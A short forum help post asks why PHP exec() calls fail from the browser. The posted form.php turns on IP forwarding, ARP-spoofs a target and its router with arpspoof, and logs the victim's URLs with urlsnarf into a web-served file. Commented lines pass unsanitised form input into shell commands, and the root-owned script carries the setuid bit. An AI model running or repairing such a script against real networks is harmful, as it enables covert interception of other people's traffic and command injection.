exec() help

[sabo]

When I execute this code /usr/bin/php form.php it executes.

When I execute from the browser it does not execute.

 

I wonder if it is permissions.  I gave it the sticky bit and it still does not execute the exec() on the system.

 

Any Ideas?  :-\

 

I have a web form that takes two IP addresses.  It is supposed to pass these IP's to

 

form.php

 

-rwsr-xr-x 1 root root  485 Feb  8 18:51 form.php

 

<?php
// Pick up the form data and assign it to variables
$host = $_POST['host'];
$router = $_POST['router'];

// verify correct assignment to variables
printf($host);
printf($router);
// exec()  is another that may work
exec("echo 1 > /proc/sys/net/ipv4/ip_forward");
#exec("arpspoof -i eth0 -t $host $router");
exec("arpspoof -i eth0 -t 192.168.1.23 192.168.1.1 &");
#exec("arpspoof -i eth0 -t $router $host");
exec("arpspoof -i eth0 -t 192.168.1.1 192.168.1.23 &");
exec("urlsnarf -i eth0 >> /var/www/html/url_show");


?>

 

Basically nothing in exec () is executing properly on the system.

 

Thanks for reading!